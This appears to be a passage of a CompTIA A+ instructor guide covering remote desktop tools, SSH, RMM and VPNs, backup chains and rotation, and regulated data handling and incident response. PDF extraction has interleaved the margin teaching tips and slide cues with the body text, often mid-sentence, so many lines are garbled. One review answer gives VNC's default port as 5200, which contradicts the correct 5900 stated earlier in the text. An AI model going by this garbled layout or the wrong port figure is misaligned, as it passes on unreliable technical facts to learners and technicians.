use of VPNs in this used securely. In this topic, you will learn about the features of different remote
course (and in Core 1), access tools and security considerations of using each one.
but explain the
importance of remote
access for support Remote Desktop Tools
technicians. As well
as discussing the With remote desktop, the target PC runs a graphical terminal server to accept
suitability of different connections from clients. This allows a user to work at the desktop of a different
tools for end-user computer over the network.
and support tasks,
identify security Remote desktop is often configured for laptop users working from home with a
considerations. slow link. Having gained access to the corporate network (via the Internet using a
VPN, for example) they could then establish a remote desktop connection to a PC
Show
in the office. A technician can also use a remote desktop access tool to configure or
Slide(s)
troubleshoot a computer.
Remote Desktop Tools
When allowing remote access to a host or network, you must assess and resolve
Teaching security considerations:
Tip • Remote access permissions should be granted to accounts selectively using least
Explain the risks of privilege principles.
opening systems up
to remote access, • The connection must use encryption to be made secure against snooping. Users
and identify RDP and must have a means of confirming that they are connecting to a legitimate server
VNC as the two main
protocols used for
to mitigate the risk of evil twin–type attacks. The server can be installed with a
desktop-based remote digital certificate to identify it securely.
access.
• The server software supporting the connection must be safe from vulnerabilities,
especially when the server port is accessible over the Internet.

Remote Desktop Protocol

Windows uses the Remote Desktop Protocol (RDP) to implement terminal server
and client functionality. To connect to a server via Remote Desktop, open the
Remote Desktop Connection shortcut or run mstsc.exe. Enter the server’s IP
address or fully qualified domain name (FQDN). Choose whether to trust the server
connection, inspecting any certificate presented, if necessary.

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Remote Desktop Connection client (mstsc.exe). (Screenshot courtesy of Microsoft.)

You also need to define credentials for the remote host. To specify a domain
account, use the format Domain\Username. To use a local account, use
either.\Username or Host\Username. RDP authentication and session
data is always encrypted. This means that a malicious user with access to the same
network cannot intercept credentials or interfere or capture anything transmitted
during the session.

A limitation of RDP on Windows is that only one person can be signed in at any one
time. Starting an RDP session will lock the local desktop. If a local user logs in, the
remote user will be disconnected.

There are versions of the mstsc client software for Linux, macOS, iOS, and Android,
so you can use devices running those operating systems to connect to an RDP
server running on a Windows machine.

Virtual Network Computing

There are alternatives to using RDP for remote access. For example, in macOS, you
can use the Screen Sharing feature for remote desktop functionality. Screen Sharing
is based on the Virtual Network Computing (VNC) protocol. You can use any VNC
client to connect to a Screen Sharing server.
VNC itself is a freeware product with similar functionality to RDP. It works over
TCP port 5900. Not all versions of VNC support connection security. macOS Screen
Sharing is encrypted.

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RDP Server and Security Settings

Show A Remote Desktop server is not enabled by default. To change remote access
Slide(s) settings, open the Remote Desktop page in the Settings app.
RDP Server and
Security Settings

Teaching
Tip
Mention risks from
malware that can
grab hashes from
system processes plus
risks from allowing
too many accounts
to connect. Remind
students that the
principle of least
privilege should be
applied. Also note
risks from allowing
connections to RDP
over the Internet as
it allows malicious
remote hosts to
scan the port for
vulnerabilities or to
get access via a weak
password.

Configuring Remote Desktop server settings. (Screenshot courtesy of Microsoft.)

Use the Select users link to define which accounts are permitted to connect
remotely. Users in the local administrators group are allowed to connect by default.
You can select users from the local accounts database or from the domain that the
machine is joined to.
Under Advanced settings, you can choose between allowing older RDP clients to
connect and requiring RDP clients that support Network Level Authentication (NLA).
NLA protects the RDP server against denial of service attacks. Without NLA, the
system configures a desktop before the user logs on. A malicious user can create
multiple pending connections to try to crash the system. NLA authenticates the user
before committing any resources to the session.
If Remote Desktop is used to connect to a server that has been compromised
by malware, the credentials of the user account used to make the connection
become highly vulnerable. RDP Restricted Admin (RDPRA) Mode and Remote
Credential Guard are means of mitigating this risk. You can read more about these
technologies at docs.microsoft.com/en-us/windows/security/identity-protection/
remote-credential-guard.
The Remote Desktop server runs on TCP port 3389 by default but can be changed
to another port.

Windows Home editions do not include the Remote Desktop server, so you cannot
connect to them, but they do include the client, so you can connect to other computers
from them.

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There are also open-source implementations of RDP, such as XRDP. You can use
XRDP to run an RDP server on a Linux host.

Microsoft Remote Assistance

Microsoft Remote Assistance (MSRA) allows a user to ask for help from a Show
technician or co-worker via an invitation file protected by a passcode. The helper Slide(s)
can open the file to connect over RDP and join the session with the user. There is a Microsoft Remote
chat feature, and the helper can request control of the desktop. Assistance

Teaching
Tip
Note that MSRA is
designed for use
on local networks.
Mention the Quick
Assist feature, and
note that we’ll discuss
third-party tools
designed to work over
the Internet later in
the lesson.

Using Remote Assistance. (Screenshot courtesy of Microsoft.)

Remote Assistance assigns a port dynamically from the ephemeral range (49152
to 65535). This makes it difficult to configure a firewall securely to allow the
connection. Windows 10 feature updates introduced the Quick Assist feature
(CTRL+START+Q) as an alternative to msra.exe. Quick Assist works over the
encrypted HTTPS port TCP/443. The helper must be signed in with a Microsoft
account to offer assistance. The helper generates the passcode to provide to the
sharer.

Neither Remote Assistance nor Quick Assist allow the helper to perform tasks that
require UAC consent in the default configuration. Either the Secure Desktop feature of
UAC must be disabled, or UAC notifications need to be turned off or set to a lower level,
weakening the security configuration.

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Secure Shell
Show Secure Shell (SSH) is also a remote access protocol, but it connects to a command
Slide(s) interpreter rather than a desktop window manager. SSH uses TCP port 22 (by
Secure Shell default). SSH uses encryption to protect each session. There are numerous
commercial and open-source SSH products available for all the major OS platforms.
Teaching Each SSH server is configured with a public/private encryption key pair, identified
Tip by a host key fingerprint. Clients use the host key fingerprint to verify that they are
Make sure students attempting to connect to a trusted server and mitigate the risk of on-path attacks.
understand that the A mapping of host names to SSH server keys can be kept manually by each SSH
host key validates
client, or there are various enterprise software products designed for SSH key
the identity of the
server and why this is management.
important.
Next explain the
method for the client
to authenticate to
the server. This can
use a password, or
it can use a client’s
public key.

Confirming the SSH server's host key. (Screenshot courtesy of Microsoft.)

The server’s host key pair is used to set up an encrypted channel so that the client
can submit authentication credentials securely. SSH allows various methods for
the client to authenticate to the server. Each of these methods can be enabled or
disabled as required on the server. Two commonly implemented methods are as
follows:
• Password authentication—The client submits a username and password that
are verified by the SSH server either against a local user database or using an
authentication server.

• Public key authentication—The server is configured with a list of the public

keys of authorized user accounts. The client requests authentication using one
of these keys, and the server generates a challenge with the user’s public key.
The client must use the matching private key it holds to decrypt the challenge
and complete the authentication process.

Monitoring for and removing compromised client public keys is a critical security task.
Many recent attacks on web servers have exploited poor SSH key management.

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Desktop Management and Remote Monitoring Tools

Network visibility refers to the challenge of ensuring that every host communicating Show
on the network is authorized to be there and is running in a secure configuration. Slide(s)
It is impractical for a technician to regularly locate and visit each device, so visibility Desktop Management
depends on remote monitoring and management technologies. and Remote
Monitoring Tools
There are two general classes of tool that provide this type of enterprise monitoring
and remote access: Interaction
• Remote monitoring and management (RMM) tools are principally designed Opportunity
for use by managed service providers (MSPs). An MSP is an outsourcing If you have Internet
company that specializes in handling all IT support for their clients. An RMM tool access, get one
will be able to distinguish client accounts and provide support for recording and group of students
to investigate an
reporting billable support activity. RMM product,
such as NinjaOne
• Desktop management or unified endpoint management (UEM)/mobile- (ninjaone.com) or
device management (MDM) suites are designed for deployment by a single Atera (atera.com).
organization and focus primarily on access control and authorization. Get the other group
to investigate a UEM,
Given those distinctions, these tools have many features in common. In general such as Workspace
terms, any given suite might offer a mix of the following functionality: ONE (vmware.com/
products/workspace-
• Locally installed agent to report status, log, and inventory information to a one.html) or Hexnode
management server and provide integration with support ticket/help desk (hexnode.com). Get
systems. Most suites will support both desktop (Windows/Linux/macOS) and the groups to compare
mobile (iOS/Android) hosts. results.

• Agent that also performs endpoint detection and response (EDR) security
scanning.

• Automated “push” deployment of upgrades, updates, security-scanner

definitions, apps, and scripts plus management of license compliance.

• Remote network boot capability, often referred to as wake on LAN (WOL), plus
ability to enter system firmware setup and deploy firmware updates and OS
installs.

• Access control to prevent hosts that do not meet OS version/update or other

health policies from connecting to the network.

• Live chat and remote desktop and/or remote shell connection to hosts.

A software agent depends on the OS to be running to communicate with the

management server. The management suite can also be configured to take
advantage of a hardware controller, such as Intel vPro or AMD PRO, to implement
out-of-band (OOB) management and power on a machine remotely.

Other Remote Access Tools

Enterprise monitoring suites are designed for environments with large numbers Show
of desktops, and the cost can be prohibitive when managing just a few machines. Slide(s)
Other protocols and software tools are available for accepting incoming Other Remote Access
connections to non-Windows devices and can be more suitable for management of Tools
SOHO networks.

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Screen-sharing Software
There are many third-party alternatives to the sort of screen-sharing and remote-
control functionality implemented by MSRA/Quick Assist. Examples include
TeamViewer and LogMeIn. Like Quick Assist, these products are designed to work
over HTTPS (TCP/443) across the Internet. This is secure because the connection is
encrypted, but also easier to implement as it does not require special firewall rules.
Some tools require the app to be installed locally, while others can be executed
non-persistently. The user can grant access to an assistant or technician by giving
them a PIN code generated by the local software installation.
Users must be made aware of the potential for threat actors to use social
engineering to persuade them to allow access. When used in a corporate
environment, there should be a specific out-of-band verification method for users
to confirm they are being contacted by an authorized technician.

Video-conferencing Software
Most video-conferencing or web-conferencing software, such as Microsoft Teams
or Zoom, includes a screen-share client, and some also allow participants to be
granted control of the share. The share can be configured as a single window or
the whole desktop. The share will have the privileges of the signed-in user, so these
apps cannot be used to perform any administrator-level configuration, but they
are useful for demonstrating a task to a user or reproducing a support issue by
observing the user.

File Transfer Software

Setting up a network file share can be relatively complex. You need to select a file-
sharing protocol that all the connecting hosts can use and that allows configuring
permissions on the share and provisioning user accounts that both the server
and client recognize. Consequently, OS vendors have developed other types of file
transfer software:
• AirDrop—Supported by Apple iOS and macOS, this uses Bluetooth to establish a
Wi-Fi Direct connection between the devices for the duration of the file transfer.
The connection is secured by the Bluetooth pairing mechanism and Wi-Fi
encryption.

• Nearby Sharing—Microsoft’s version of AirDrop. Nearby Sharing was introduced

in Windows 10 (1803).

• Nearby Share—Bluetooth-enabled sharing for Android devices.

Although the products have security mechanisms, there is always the potential for
misuse of this kind of file transfer feature. Users accepting connections from any
source could receive unsolicited transfer requests. It is best to only accept requests
from known contacts. The products can be subject to security vulnerabilities that
allow unsolicited transfers.

Virtual Private Networks

Where remote desktop or SSH establishes a connection to a single host over the
network, a virtual private network (VPN) establishes a tunneled link that joins
your local computer to a remote network. The VPN could be used as an additional
layer of security. For example, you could establish a VPN link and then use remote
desktop to connect to a host on the private network. This avoids having to open
remote desktop ports on the network’s firewall.

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Review Activity:
Remote Access Technologies
3

Answer the following questions: Show

Slide(s)
Review

1. You are updating a procedure that lists security considerations for Teaching
remote access technologies. One of the precautions is to check that Tip
remote access ports have not been opened on the firewall without
Take some time at
authorization. Which default port for VNC needs to be monitored? the end of each topic
to answer questions.
Virtual Network Computing (VNC) uses TCP port 5200 by default. You can use the
review questions
2. True or false? You can configure a web server running on Linux to accept for discussion in
remote terminal connections from clients without using passwords. class or set them for
students to complete
True. This can be configured using public key authentication with the Secure Shell individually during or
(SSH) protocol. The server can be installed with the public keys of authorized users. after class.

3. You are joining a new startup business that will perform outsourced
IT management for client firms. You have been asked to identify an
appropriate software solution for off-site support and to ensure that
service level agreement (SLA) metrics for downtime incidents are
adhered to. What general class of remote access technology will be most
suitable?

Remote monitoring and management (RMM) tools are principally designed for use
by managed service providers (MSPs). As well as remote access and monitoring,
this class of tools supports management of multiple client accounts and billing/
reporting.

4. Users working from home need to be able to access a PC on the

corporate network via RDP. What technology will enable this without
having to open the RDP port to Internet access?

Configure a virtual private network (VPN) so that remote users can connect to the
corporate LAN and then launch the remote desktop protocol (RDP) client to connect
to the office PC.

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Topic 19B
Implement Backup and Recovery
5

Show CORE 2 EXAM OBJECTIVES COVERED

Slide(s) 4.3 Given a scenario, implement workstation backup and recovery methods.
Implement Backup
and Recovery
One of the important tasks you will need to perform as an A+ technician is making
Teaching
sure that users’ data and system settings are being backed up to mitigate the risk
Tip
of loss due to disaster or malware. Backup might seem like a well-understood
Make sure students requirement, but incident after incident continues to expose minor and major
understand how
failures of backup procedures in many companies. Backup is difficult to implement
critical it is to properly
configure and test properly because it is a routine procedure that must be able to cope with non-
backup and recovery routine and uncommon disaster scenarios that are difficult to plan for and practice.
procedures. It is very easy to set up a backup system that seems robust, but it is also easy to
eventually encounter an unexpected situation where recovery fails.

Backup Operations
Show Data backup is a system maintenance task that enables you to store copies of
Slide(s) critical data for safekeeping. Backups protect against loss of data due to disasters
Backup Operations such as file corruption or hardware failure. Data recovery is a task that enables you
to restore user access to lost or corrupt data via the backup.
Teaching
Most large organizations will implement a structured backup scheme that includes
Tip
a backup schedule and specifications for which files are backed up, where the
The objective focuses backup is stored, and how it can be recovered.
on workstation
backup, which is more
applicable to home When a computer is connected to a network, it is bad practice for a user to store
users, but home users data locally (on the client PC's fixed disks). Network home folders and the use of
are unlikely to be scripts to copy data can help users to transfer data to a file server, where it can be
using media rotation. backed up safely.
Ideally, client PCs
should not host critical Personal backups are necessary for home users or on workgroups, where no
data. It should be central file server is available. In this scenario, the backup software supplied with
stored securely and Windows is serviceable. Most home users will back up to external hard drives or use
robustly on file-server
services.
some sort of cloud-based storage.

The exam objectives In Windows, user data backup options are implemented via the File History
don’t include Windows feature, which is accessed through Settings > Update & Security > Backup. You
backup tools as can configure a local drive or network folder as the target for storing backup files.
content examples, but You can choose which folders and files to include or exclude from the backup job
just mention them
plus a schedule for running the job.
here. Note that these
tools only perform
backup to a single
device and don’t
support rotation. They
make a full backup,
then a series of
incremental backups
for a period, and then
make another full
backup.

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Show
Slide(s)
Backup Methods

Teaching
Tip
Explain frequency
and retention
requirements.
Frequency is an
answer to the
question, “How
much work time that
was spent in data
generation/collection
can we afford to
lose?” The shorter
the period, the more
backup capacity is
required and the more
frequently backup jobs
must run. This period
could be seconds,
minutes, or hours. The
basic consideration
is whether
reconstructing the
Configuring File History backup options via Windows Settings. (Screenshot courtesy of Microsoft.) lost data manually
is possible or cost-
effective compared
If you need to restore a file or folder, you can either use the Previous Versions to the cost of
tab in the object’s Properties dialog box or use the File History applet to restore implementing the
multiple files. backup. You might
want to mention that
The Backup and Restore Center control panel tool provides an alternative backup this is associated with
manager. It can also be used to make image backups of the entire operating the recovery point
system, rather than just data file backups. objective (RPO) metric.
Retention answers the
question of version
Backup Methods control. For example,
if you back up changes
When considering a file server or database server, the execution and frequency of to a file on each day
backups must be carefully planned and guided by policies. Each backup job records of the week, at the
data as it was at a certain point in time. As each backup job might take up a lot of end of the week do
space and there is never limitless storage capacity, there must be some system you need to keep
each day’s backup,
to minimize the amount of data occupying backup storage media while still giving
or can you discard
adequate coverage of the required recovery window. the changes and just
Two main factors govern backup operations: keep the last version?
Can you be confident
• Frequency is the period between backup jobs. The frequency configuration in the integrity of the
reflects how much lost work can be tolerated. For example, if employees can latest version, or do
you need to keep the
recall and input the previous day’s work on document files, a daily backup will
last five versions?
meet the requirement. If the edits are much more difficult to reconstruct, backup Retention may also
frequency might need to be measured in hours, minutes, or seconds. be determined
by regulatory
• Retention is the period that any given backup job is kept for. Short-term requirements, which
retention is important for version control and for recovering from malware might determine
infection. Consider the scenario where a backup is made on Monday, a file minimum or
is infected with a virus on Tuesday, and when that file is backed up later on maximum periods
(or both).
Tuesday, the copy made on Monday is overwritten. This means that there is no
good means of restoring the uninfected file. In the long term, data may need Make sure students
understand how a
backup chain works.

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to be stored to meet legal requirements or to comply with company policies or

industry standards. Conversely, regulations might require that data not be kept
for longer than necessary.

Backup Chains
The requirements for backup frequency and retention must be managed against
the capacity of the backup media and the time it takes to complete a backup job.
These requirements are managed by using different types of jobs in a backup
chain. The main types of backups are full only, full with incremental, and full with
differential:
• “Full only” means that the backup job produces a file that contains all the data
from the source. This means that the backup file is nominally the same size as
the source, though it can be reduced via compression. A full backup has the
highest storage and time requirements but has the least recovery complexity as
only a single file is required.

• “Full with incremental” means that the chain starts with a full backup and then
runs incremental jobs that select only new files and files modified since the
previous job. An incremental job has the lowest time and storage requirement.
However, this type of chain has the most recovery complexity as it can involve
two or more jobs, each of which might be stored on different media.

• “Full with differential” means that the chain starts with a full backup and then
runs differential jobs that select new files and files modified since the original
full job. A differential chain has moderate time and storage requirements and
slightly less recovery complexity than incremental as it requires a maximum of
two jobs (the full backup plus the differential job).

Backup Job
Time and
Storage Recovery Archive
Type Data Selection Requirement Complexity Attribute
Full All selected data High Low (single job) Cleared
regardless of
when it was
previously
backed up
Incremental New files and Low High (multiple Cleared
files modified jobs)
since last
backup job
Differential New files and Moderate Moderate (two Not
files modified jobs) cleared
since last full
backup job

Windows uses an archive attribute to determine the backup status. Linux doesn't
support a file archive attribute. Instead, a date stamp is used to determine whether the
file has changed. Most software also has the capability to do copy backups. These are
made outside the chain system (ad hoc) and do not affect the archive attribute.

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Synthetic Backup
A synthetic backup is an option for creating full backups with lower data transfer
requirements. A synthetic full backup is not generated directly from the original
data but instead assembled from other backup jobs. It works as follows:
1. The chain starts with an initial full backup as normal and subsequently makes
a series of incremental backups.

2. When the next full backup is scheduled, the backup software makes one more
incremental backup. It then synthesizes a new full backup from the previous
full and incremental backups.

Backup Media Requirements

A backup rotation scheme allows some media to be reused once the retention Show
period of the job stored on it has expired. Rotation is most closely associated with Slide(s)
the use of tape media but can be applied to disk devices too. There are many Backup Media
backup rotation schemes, but the most widely used is grandfather-father-son Requirements
(GFS). The GFS scheme labels the backup tapes in generations. Son tapes store the
most recent data and have the shortest retention period (one week, for example). Teaching
Grandfather tapes are the oldest and have the longest retention period (one year, Tip
for example). Assuming a single tape has sufficient capacity for each job and no Explain that there are
weekend backups, a GFS scheme could be implemented as follows: quite a few variations
on GFS. The scheme
1. A full backup is performed each week on Friday night to one of the tapes presented here makes
marked “Father.” As some months will have five Fridays, this requires five use of incremental
tapes labeled and dedicated to the father role. backups on the son
tapes to illustrate
2. Incremental backups are made during each day to a tape marked “Son,” the points about
using whatever frequency is required (every 15 minutes or every hour, for frequency and version
control. You might
instance). The five son tapes are reused each week in the same order. want to note that
the 21-tape scheme
3. A full backup is performed at the end of the last working day of the month on is widely quoted.
a tape marked “Grandfather.” Twelve grandfather tapes are required. This only uses four
son tapes and would
4. The father tapes are then reused for the next month in the same order, more typically use
and the cycle continues. At the end of the year, the first grandfather tape is full backups for each
overwritten. job, assuming that a
single tape is sufficient
A longer version-control window could be achieved by doubling the number of son capacity for a full
tapes and reusing them on a bi-weekly schedule. Note that the father tapes could backup. Tape-based
schemes are also likely
use synthetic backups.
to rotate between
weekly and monthly
On Site versus Off Site Storage tapes for wear-
leveling.
On site backup storage means that the production system and backup media are
in the same location. This means that if a disaster strikes the facility, there is the risk Grandparent, parent,
child (GPC) would
of losing both the production and backup copies of the data. be more inclusive
terminology, but it
isn’t yet widespread.

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A media rotation scheme such as GFS means that at least some of the backup
media can be taken for storage off site once the backup job has run. For example,
in the GFS scheme outlined above, four of the father tapes could be kept off site
at any one time. Grandfather tapes can all routinely be kept off site with only one
needing to be brought on site at the time of the backup job.
Transporting media off site is an onerous task, however. High-bandwidth Internet
and high-capacity cloud storage providers have made off-site backup solutions
more affordable and easier to implement.

While cloud backup is convenient, there are still substantial risks from failure of the
cloud provider. It is prudent to perform local backups in addition to cloud backup.

Online versus Offline Backups

Teaching As well as the on-site/off-site consideration, you should also be aware of a
Tip distinction between online and offline backup media. Online backup media
Note that the 3-2-1 is instantly available to perform a backup or restore operation without an
rule includes the administrator having to transport and connect a device or load a tape. An offline
production copy. backup device is kept disconnected from the host and must be connected manually
So, with GFS, you to run a backup job.
would have the data
on the server disk An online system is faster, but keeping some backup media offline offers better
plus the son/father/ security. Consider the case of crypto-ransomware, for instance. If the backup
grandfather tape/ drive is connected to the infected host, the ransomware will encrypt the backup,
removable drives,
rendering it useless. Some crypto-ransomware is configured to try to access cloud
satisfying the three
copies and two media accounts and encrypt the cloud storage (f-secure.com/v-descs/articles/crypto-
rules, plus off-site ransomware.shtml). The media rotation scheme should allow at least one backup
storage for father and copy to be kept offline. For example, in the GFS scheme discussed above, four of
grandfather tapes, the son tapes can be kept offline.
satisfying the one
off-site copy rule. Get
students to explain
3-2-1 Backup Rule
how the 3-2-1 rule
The 3-2-1 backup rule is a best-practice maxim that you can apply to your backup
could be implemented
for a personal data procedures to verify that you are implementing a solution that can mitigate the
backup (workstation widest possible range of disaster scenarios. It states that you should have three
plus Windows backup copies of your data (including the production copy), across two media types, with
on removable disk one copy held offline and off site.
plus cloud backup, for
instance).
Backup Testing and Recovery Best Practices
Show When you design a backup scheme, test it to make sure it’s reliable. To test the
Slide(s) backup:
Backup Testing • Try restoring some of the backed-up data into a test directory, making sure you
and Recovery Best
don’t overwrite any data when doing so. Alternatively, use a virtual machine to
Practices
test recovery procedures without affecting the production host.
Teaching
• Configure the backup software to verify after it writes. Most backup software can
Tip
use hashing to verify that each job is a valid copy of the source data. It is also
As disasters are important to verify media integrity regularly, such as by running chkdsk on
(hopefully) uncommon
hard drives used for backup.
events, it is too easy to
overlook the recovery
• Verify that the backup contains all the required files.
part and to fail to test
it sufficiently.

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You should re-test recovery procedures whenever there is a change to the

backup schedule or requirements. It is also best practice to perform routine tests
periodically—every week or every month, depending on criticality. Frequent testing
mitigates risks from media failure and configuration oversights.

Using File History to restore to an alternate location. (Screenshot courtesy of Microsoft.)

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Review Activity:
Backup and Recovery
6

Show Answer the following questions:

Slide(s)
Review

Teaching 1. What backup issue does the synthetic job type address?
Tip
A synthetic full backup reduces data transfer requirements and, therefore, backup
Take some time at job time by synthesizing a full backup from previous incremental backups rather
the end of each topic
than directly from the source data.
to answer questions.
You can use the
2. You are documenting workstation backup and recovery methods and
review questions
for discussion in want to include the 3-2-1 backup rule. What is this rule?
class or set them for
students to complete It states that you should have three copies of your data across two media types,
individually during or with one copy held offline and off site. The production data counts as one copy.
after class.
3. For which backup/restore issue is a cloud-based backup service an
effective solution?

The issue of provisioning an off-site copy of a backup. Cloud storage can also
provide extra capacity.

4. What frequent tests should you perform to ensure the integrity of

backup settings and media?

You can perform a test restore and validate the files. You can run an integrity
check on the media by using, for example, chkdsk on a hard drive used for backup.
Backup software can often be configured to perform an integrity check on each
file during a backup operation. You can also perform an audit of files included in a
backup against a list of source files to ensure that everything has been included.

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Topic 19C
Explain Data Handling Best Practices
5

CORE 2 EXAM OBJECTIVES COVERED Show

2.8 Given a scenario, use common data destruction and disposal methods. Slide(s)
4.6 Explain the importance of prohibited content/activity and privacy, licensing, and
Explain Data Handling
policy concepts.
Best Practices

When data that should be kept private is breached, it is almost impossible to Teaching
recover and re-secure. As a CompTIA A+ technician, it is imperative that you be able Tip
to recognize confidential and sensitive data types so that they can be protected This topic covers
from breaches. objectives 4.6
(prohibited content/
While you hope that security and data handling policies will be sufficient to activity and privacy,
protect your computer systems and networks, you also need to consider the licensing, and policy
situations where those protections fail. To cope with failures of security policy, or concepts) plus 2.8
attempted breaches of policy, organizations need well-rehearsed incident response (common data
procedures to investigate and remediate the breach. You will often be involved destruction and
disposal methods).
in identifying and reporting security incidents and potentially in assisting with
investigations and evidence gathering. It is important that you understand some
of the general principles of effective incident response and forensic investigation
procedures.

Regulated Data Classification

Regulated data is information that must be collected, processed, and stored in Show
compliance with federal and/or state legislation. If a company processes regulated Slide(s)
data collected from customers who reside in different countries, it must comply Regulated Data
with the relevant legislation for each country. Classification

A breach is where confidential or regulated data is read, copied, modified, or Teaching

deleted without authorization. Data breaches can be accidental or intentional Tip
and malicious. A malicious breach is also referred to as data exfiltration. Any type
Describe the principal
of breach of regulated data must normally be reported to the regulator and to types of regulated
individual persons impacted by the breach. data. Discuss the need
to keep some types
Personally Identifiable Information of data (retention) for
regulatory purposes
Personally identifiable information (PII) is data that can be used to identify, contact, but also the need
or locate an individual or, in the case of identity theft, to impersonate him or her. to delete data to
comply with privacy
A cell phone number is a good example of PII. Others include name, date of birth,
regulations.
email address, street address, biometric data, and so on. PII may also be defined as
responses to challenge questions, such as “What is your favorite color/pet/movie?”
PII is often used for password reset mechanisms and to confirm identity over the
telephone. Consequently, disclosing PII inadvertently can lead to identity theft.
Some types of information may be PII depending on the context. For example,
when someone browses the web using a static IP address, the IP address is PII. An
address that is dynamically assigned by the ISP may not be considered PII. These
are the sort of complexities that must be considered when determining compliance
with privacy legislation.

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Personal Government-issued Information

Personal Government-issued Information that is issued to individuals by federal
or state governments is also PII. Examples include a social security number (SSN),
passport, driving license, and birth/marriage certificates. Data collected and held by
the US federal government is subject to specific privacy legislation, such as the US
Privacy Act.

Healthcare Data
Healthcare data refers to medical and insurance records plus associated hospital
and laboratory test results. Healthcare data may be associated with a specific
person or used as an anonymized or de-identified data set for analysis and
research, such as in clinical trials to develop new medicines. An anonymized data
set is one where the identifying data is removed completely. A de-identified data
set contains codes that allow the subject information to be reconstructed by the
data provider. Healthcare data is highly sensitive. Consequently, the reputational
damage caused by a healthcare data breach is huge.

Credit Card Transactions

There are also industry-enforced regulations mandating data security. A good
example is the Payment Card Industry Data Security Standard (PCI DSS) that
governs processing of credit card transactions and other bank card payments. It
sets out protections that must be provided if cardholder data—names, addresses,
account numbers, and card numbers and expiry dates—is stored. It also sets out
sensitive authentication data, such as the CV2 confirmation number or the PIN used
for the card.
Regulations such as PCI DSS have specific cybersecurity control requirements;
others simply mandate “best practice,” as represented by a particular industry
or international framework. Frameworks for security controls are established by
organizations such as the National Institute of Standards and Technology (NIST).

Data Handling Best Practice

Employees should be trained to identify PII and to handle personal or sensitive data
appropriately. This means not making unauthorized copies or allowing the data to
be seen or captured by any unauthorized persons. Examples of treating sensitive
data carelessly include leaving order forms with customers’ credit card details on
view on a desk, putting a credit card number in an unencrypted notes field in a
customer database, or forwarding an email with personal details somewhere in the
thread or in a Cc (copy all) field.

Data Retention Requirements

Another issue for regulated data is its retention on both file and database servers
and in backup files:
• Regulation might set a maximum period for the retention of data. For example,
if a company collects a customer’s address and credit card information to fulfill
an order and the customer then makes no further orders, the company might be
expected to securely destroy the information it has collected.

• Regulation might also demand that information be retained for a minimum

period. In the credit card example, the company should log when and how the
protected information was destroyed and preserve that log for inspection for a
given period.

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Prohibited Content and Licensing Issues

As well as ensuring secure handling of confidential and sensitive data, you need to Show
consider methods for identifying and removing prohibited content and unlicensed Slide(s)
software from company workstations. Prohibited Content
and Licensing Issues
Prohibited Content
Teaching
Employee workstations should only be used for work-related activity and data Tip
storage. In this context, prohibited content is any information that is not Discuss the
applicable to work. It can also specifically mean content that is obscene or illegally importance of
copied/pirated. The acceptable use policies built into most employee contracts will monitoring software
prohibit the abuse of Internet services to download games, obscene material, or and DRM licensing
pirated movies or audio tracks. Employees should also avoid using work accounts compliance, and
mention risks from
for personal communications.
shadow IT.

End-User License Agreements

Prohibited content also extends to the unauthorized installation and use of
software. When you install software, you must accept the license governing its use,
often called the end-user license agreement (EULA). The terms of the license will
vary according to the type of software, but the basic restriction is usually that the
software may only be installed on one computer or for use by one single person at
any one time.
An EULA might distinguish between personal and corporate/business/for-profit
use. For example, a program might be made available as freeware for personal use
only. If an employee were to install that product on a company-owned device, the
company would be infringing the license.

License Compliance Monitoring

Software is often activated using a product key, which will be a long string of
characters and numbers printed on the box or disk case. The product key will
generate a different product ID, which is often used to obtain technical support.
The product ID is displayed when the application starts and can be accessed using
the About option on the Help menu.
A personal license allows the product to be used by a single person at a time,
though it might permit installation on multiple personal devices. A company may
have hundreds of employees who need the same software on their computers.
Software manufacturers do not expect such companies to buy individual copies
of the software for each employee. Instead, they will issue a corporate use license
for multiple users, which means that the company can install the software on an
agreed-upon number of computers for its employees to use simultaneously.
It is illegal to use or distribute unlicensed or pirated copies of software. Pirated
software often contains errors and viruses as well. Enterprises need monitoring
systems to ensure that their computers are not hosting unlicensed or pirated
software. There are two particular situations to monitor for:
• Valid licenses—A personal license must not be misused for corporate licensing.
Also, matching the number of corporate-use licenses purchased with the
number of devices or users able to access the software at a given time can be
complex. Various inventory and desktop management suites can assist with
ensuring that each host or user account has a valid license for the software it is
using and that device/user limits are not being exceeded.

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• Expired licenses—The software product must be uninstalled if the license is

allowed to expire or the number of devices/user accounts is reduced. It is also
important to track renewal dates and ensure that licenses do not expire due to a
lack of oversight.

Open-source Licenses
Software released under an open-source license generally makes it free to use,
modify, and share and makes the program code used to design it available. The
idea is that other programmers can investigate the program and make it more
stable and useful. An open-source license does not forbid commercial use of
applications derived from the original, but it is likely to impose the same conditions
on further redistributions. When using open-source software, it is important to
verify the specific terms of the license as they can vary quite widely.
Commercial open-source software may be governed by additional subscription or
enterprise agreements to supplement the open-source software license.

Digital Rights Management

Digital music and video are often subject to copy protection and digital rights
management (DRM). When you purchase music or video online, the vendor may
license the file for use on a restricted number of devices. You generally need to
use your account with the vendor to authorize and deauthorize devices when they
change. Most DRM systems have been defeated by determined attackers, and
consequently there is plenty of content circulating with DRM security removed. From
an enterprise’s point of view, this is prohibited content, and it needs monitoring
systems to ensure that its computers are not hosting pirated content files.

Incident Response
Show While performing technical support, you may have to report or respond to security
Slide(s) incidents. A security incident could be one of a wide range of different scenarios,
Incident Response such as:
• A computer or network infected with viruses, worms, or Trojans.
Teaching
Tip • A data breach or data exfiltration where information is seen or copied to another
Discuss the incident system or network without authorization.
response process
and notification/ • An attempt to break into a computer system or network through phishing or an
escalation routes plus evil twin Wi-Fi access point.
the requirements for
gathering forensically • An attempt to damage a network through a denial of service (DoS) attack.
sound digital evidence.
• Users with unlicensed software installed to their PC.

• Finding prohibited material on a PC, such as illegal copies of copyrighted

material, obscene content, or confidential documents that the user should not
have access to.

An incident response plan (IRP) sets out procedures and guidelines for dealing
with security incidents. Larger organizations will provide a dedicated Computer
Security Incident Response Team (CSIRT) as a single point-of-contact so that a
security incident can be reported through the proper channels. The members of
this team should be able to provide the range of decision-making and technical
skills required to deal with different types of incidents. The team needs managers
and technicians who can deal with minor incidents on their own initiative. It also
needs senior decision-makers (up to director level) who can authorize actions
following the most serious incidents.

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The actions of staff immediately following detection of an incident can have a

critical impact on the subsequent investigation. When an incident is detected, it is
critical that the appropriate person on the CSIRT be notified so that can act as the
first responder and take charge of the situation and formulate the appropriate
response.
If there is no formal CSIRT, it might be appropriate to inform law enforcement
directly. Involving law enforcement will place many aspects of investigating the
incident out of the organization’s control. This sort of decision will usually be taken
by the business owner.

One exception may be where you act as a whistleblower because you have proof that
senior staff in the organization pose an insider threat or are disregarding regulations or
legislation.

